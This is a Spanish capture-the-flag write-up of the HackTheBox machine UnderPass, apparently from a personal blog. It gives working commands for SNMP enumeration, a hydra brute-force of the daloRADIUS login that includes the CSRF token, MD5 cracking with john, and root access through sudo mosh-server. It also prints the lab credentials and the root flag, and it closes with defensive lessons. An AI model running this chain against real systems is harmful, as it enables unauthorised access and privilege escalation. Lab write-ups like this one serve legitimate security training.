the_open_door
café
ESEN

UnderPass

HackTheBoxFácilLinux10.10.11.48

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#snmp#daloradius#radius#hash-cracking#md5#hydra#csrf#sudo#mosh#gtfobins
TL;DR. UnderPass es una máquina Linux fácil cuyo vector no está en el HTTP por defecto, sino en SNMP. La enumeración por UDP/161 revela un servidor daloRADIUS; su panel de operadores delata al usuario administrator, al que se entra con hydra (la contraseña es radius). Dentro, la gestión de usuarios expone el hash MD5 de svcMosh, que se crackea a underwaterfriends y se reutiliza por SSH. svcMosh puede ejecutar mosh-server por sudo, y como el servidor se lanza con privilegios de root, conectarse a esa sesión da shell como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.48
64 bytes from 10.10.11.48: icmp_seq=1 ttl=63 time=38.3 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El escaneo TCP solo descubre SSH y HTTP, con ttl 63 (Linux):

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.48

nmap descubre 22/ssh y 80/http con ttl 63 en 10.10.11.48

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de UnderPass: IP 10.10.11.48 y puertos abiertos 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.48
Open ports: 22,80

Ports copied to clipboard

Con esa lista, el escaneo de versiones y scripts (jmap2 es otra función del .zshrc que envuelve un nmap -sCV) confirma que los dos servicios son estándar y están al día:

jmap2 10.10.11.48 22,80

jmap2 identifica OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 y Apache httpd 2.4.52 con el título Apache2 Ubuntu Default Page

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ni una versión con CVE aprovechable ni un banner con nada raro. El http-title ya adelanta el problema:

El HTTP muestra la página por defecto de Apache: nada que enumerar.

La web en el 80 es la Apache2 Ubuntu Default Page ("It works!")

Cuando el TCP no da pie, conviene mirar el UDP. Un escaneo de los puertos UDP más comunes encuentra el 161 (SNMP):

nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn --open 10.10.11.48

el escaneo UDP descubre el puerto 161/snmp abierto

PORT    STATE SERVICE
161/udp open  snmp

El único puerto UDP abierto es el 161/snmp, que es la vía real de entrada.

SNMP: el verdadero punto de entrada

SNMP suele exponer información del sistema a quien conozca la community string. La clásica public funciona, y snmpwalk saca una pista decisiva: hay un servidor daloRADIUS asociado al dominio UnDerPass.htb.

snmpwalk -v 2c -c public 10.10.11.48

snmpwalk con la community public revela un servidor daloRADIUS en UnDerPass.htb

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"

El sysContact filtra el correo steve@underpass.htb y el sysName la pista clave: UnDerPass.htb is the only daloradius server in the basin!, que revela el dominio y el servicio interno.

daloRADIUS es una interfaz web para administrar servidores RADIUS (autenticación de red). Pedir /daloradius devuelve 403:

http://10.10.11.48/daloradius/ devuelve 403 Forbidden

Así que enumeramos rutas por debajo y damos con el panel de operadores:

ffuf -u http://10.10.11.48/daloradius/app/FUZZ -w directory-list-2.3-medium.txt
dirsearch -u http://10.10.11.48/daloradius --exclude-status=404,403,302

dirsearch descubre la estructura de daloRADIUS bajo /daloradius

[02:02:00] Starting: daloradius/
[02:02:04] 200 -  221B - /daloradius/.gitignore
[02:02:20] 301 -  319B - /daloradius/app          ->  http://10.10.11.48/daloradius/app/
[02:02:24] 200 -   24KB - /daloradius/ChangeLog
[02:02:29] 200 -    2KB - /daloradius/docker-compose.yml
[02:02:29] 301 -  319B - /daloradius/doc          ->  http://10.10.11.48/daloradius/doc/
[02:02:29] 200 -    2KB - /daloradius/Dockerfile
[02:02:40] 301 -  323B - /daloradius/library      ->  http://10.10.11.48/daloradius/library/
[02:02:40] 200 -   18KB - /daloradius/LICENSE
[02:02:57] 200 -   10KB - /daloradius/README.md
[02:03:09] 301 -  321B - /daloradius/setup        ->  http://10.10.11.48/daloradius/setup/
Task Completed

Y el ffuf bajo /daloradius/app/ destapa las carpetas common, users y operators:

ffuf bajo /daloradius/app/ encuentra common, users y operators

[02:02:00] Starting: daloradius/
[02:02:04] 200 -  221B  - /daloradius/.gitignore
[02:02:20] 301 -  319B  - /daloradius/app  ->  http://10.10.11.48/daloradius/app/
[02:02:24] 200 -   24KB - /daloradius/ChangeLog
[02:02:29] 200 -    2KB - /daloradius/docker-compose.yml
[02:02:29] 301 -  319B  - /daloradius/doc  ->  http://10.10.11.48/daloradius/doc/
[02:02:29] 200 -    2KB - /daloradius/Dockerfile
[02:02:40] 301 -  323B  - /daloradius/library  ->  http://10.10.11.48/daloradius/library/
[02:02:40] 200 -   18KB - /daloradius/LICENSE
[02:02:57] 200 -   10KB - /daloradius/README.md
[02:03:09] 301 -  321B  - /daloradius/setup  ->  http://10.10.11.48/daloradius/setup/

Del árbol cuelga /daloradius/app, y bajo él vive el panel de operadores (app/operators/login.php); los docker-compose.yml/Dockerfile confirman de paso que se trata de daloRADIUS.

Acceso al panel de daloRADIUS

Un mensaje de error que delata al usuario

En /daloradius/app/operators/login.php, al introducir credenciales incorrectas, el error confirma que existe el usuario administrator. Con un usuario conocido, queda probar contraseñas:

el login de operadores revela que el usuario administrator existe

Fuerza bruta con token CSRF

Al interceptar el envío del formulario con Burp se ve que el login es un POST form-urlencoded y que el CSRF_TOKEN viaja en el cuerpo junto a las credenciales (no en una cabecera): ese es el motivo de tener que incluirlo en hydra.

POST /daloradius/app/operators/login.php HTTP/1.1
Host: 10.10.11.48
Content-Type: application/x-www-form-urlencoded

operator_user=administrator&operator_pass=test&CSRF_TOKEN=e3b0c44298fc1c149afbf4c8996fb924...

El campo se regenera en cada carga de la página, así que en una máquina de examen conviene volver a capturar un token fresco antes de lanzar el ataque. Con el campo identificado, hydra reproduce el formulario y la contraseña cae enseguida: es radius.

hydra -l administrator -P rockyou.txt \
  "http-post-form://10.10.11.48/daloradius/app/operators/login.php:operator_user=^USER^&operator_pass=^PASS^&CSRF_TOKEN=CSRF_PLACEHOLDER:Cannot log in." -V -f

hydra determina que la contraseña de administrator es radius

[80][http-post-form] host: 10.10.11.48   login: administrator   password: radius
1 of 1 target successfully completed, 1 valid password found

La pareja válida es administrator:radius; la introducimos en el login (daloRADIUS 2.2 beta):

login de daloRADIUS con administrator / radius

Y accedemos al panel:

panel de daloRADIUS tras iniciar sesión como administrator

Un hash en la gestión de usuarios

En Management → List Users aparece un usuario de RADIUS, svcMosh, con su contraseña en forma de hash:

List Users muestra svcMosh con un hash MD5

svcMosh : 412DD4759978ACFCC81DEAB01B382403

Acceso como svcMosh

Crackear el hash MD5

El formato (32 hexadecimales, sin sal) apunta a MD5 crudo, lo que confirma un identificador de hashes:

Identificador de hashes: 412DD4759978ACFCC81DEAB01B382403 - Possible algorithms: MD5

john lo rompe contra rockyou:

john --format=Raw-MD5 --wordlist=rockyou.txt hash

john crackea el hash y devuelve underwaterfriends

Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
underwaterfriends  (?)
1g 0:00:00:00 DONE (2025-01-03 18:49) 5.555g/s 16573Kp/s 16573Kc/s 16573KC/s undi3s..underoathrockes

La contraseña es underwaterfriends. El nombre del usuario (svcMosh) sugiere que también existe a nivel de sistema, así que la reutilizamos contra SSH y entra:

ssh svcMosh@10.10.11.48   # underwaterfriends

acceso por SSH como svcMosh

svcMosh@10.10.11.48's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
...
Last login: Fri Jan  3 17:38:29 2025 from 127.0.0.1
svcMosh@underpass:~$

La reutilización funciona: obtenemos shell como svcMosh.

Shell como root

sudo -l: mosh-server

svcMosh puede ejecutar como root, sin contraseña, el binario mosh-server:

sudo -l

sudo -l: svcMosh puede ejecutar /usr/bin/mosh-server como root

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Abusar de mosh-server

Mosh es una alternativa a SSH para conexiones inestables. Funciona en dos piezas: mosh-server levanta el extremo remoto y entrega una MOSH_KEY de un solo uso, y mosh-client se conecta usando esa clave. El truco es que, al lanzar mosh-server por sudo, el servidor corre como root, y la sesión que se le conecte hereda ese contexto.

Arrancamos el servidor (el puerto debe estar en el rango 6000-6100 que reserva mosh) y anotamos la clave:

sudo mosh-server new -p 6010

sudo mosh-server new entrega una MOSH_KEY de un solo uso

MOSH CONNECT 6010 FJoHGWeJScjW6r+bDtcxUA

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 6200]

La clave de un solo uso es FJoHGWeJScjW6r+bDtcxUA, que pasamos en MOSH_KEY.

Nos conectamos con mosh-client a 127.0.0.1:6010 pasando esa clave en la variable MOSH_KEY:

MOSH_KEY=FJoHGWeJScjW6r+bDtcxUA mosh-client 127.0.0.1 6010

mosh-client se conecta a la sesión root: somos root y leemos root.txt

La sesión abre como root, lo que cierra la máquina:

root@underpass:~# cat root.txt
d93f35be6bf28c50c3fb649e409aadf5

shell como root y lectura de root.txt

Con las dos flags enviadas, HackTheBox da la máquina por comprometida:

la pantalla de HackTheBox anunciando UnderPass has been Pwned con la fecha 03 Jan 2025 y 30 puntos

UnderPass has been Pwned!
MACHINE RANK #3586   PWN DATE 03 Jan 2025   POINTS EARNED 30

Cadena de ataque

TCP :22,:80 (Apache por defecto)  →  callejón sin salida
   │  escaneo UDP  →  161/snmp
   ▼
snmpwalk -c public  →  daloRADIUS / UnDerPass.htb
   │  /daloradius/app/operators/login.php  →  usuario 'administrator'
   ▼
hydra (+CSRF_TOKEN)  →  administrator:radius  →  panel
   │  Management/List Users  →  svcMosh:412DD...
   ▼
john (Raw-MD5)  →  underwaterfriends  →  ssh svcMosh
   │  sudo -l  →  (ALL) NOPASSWD mosh-server
   ▼
sudo mosh-server new  →  MOSH_KEY  →  mosh-client  →  root

Lecciones aprendidas

  • Cuando el TCP no da pie, mira el UDP. El HTTP era la página por defecto de Apache; el vector real estaba en SNMP (161/UDP), que muchos escaneos rápidos ignoran. Enumerar también UDP.
  • SNMP con public filtra demasiado. La community string por defecto dejó leer información del sistema y el nombre del servicio interno. Cambiar las community por defecto y restringir el acceso a SNMP.
  • Los mensajes de error que distinguen usuarios facilitan el ataque. El login confirmaba la existencia de administrator; con un usuario válido, la fuerza bruta es mucho más dirigida. Mensajes de error genéricos.
  • Un binario inocuo por sudo puede dar root. mosh-server no es un shell, pero ejecutado como root y conectándose a su sesión otorga sus privilegios. Conceder por sudo solo lo imprescindible y revisar GTFOBins antes de añadir un binario.
Cheatsheet de comandos 11 comandos

Repaso rápido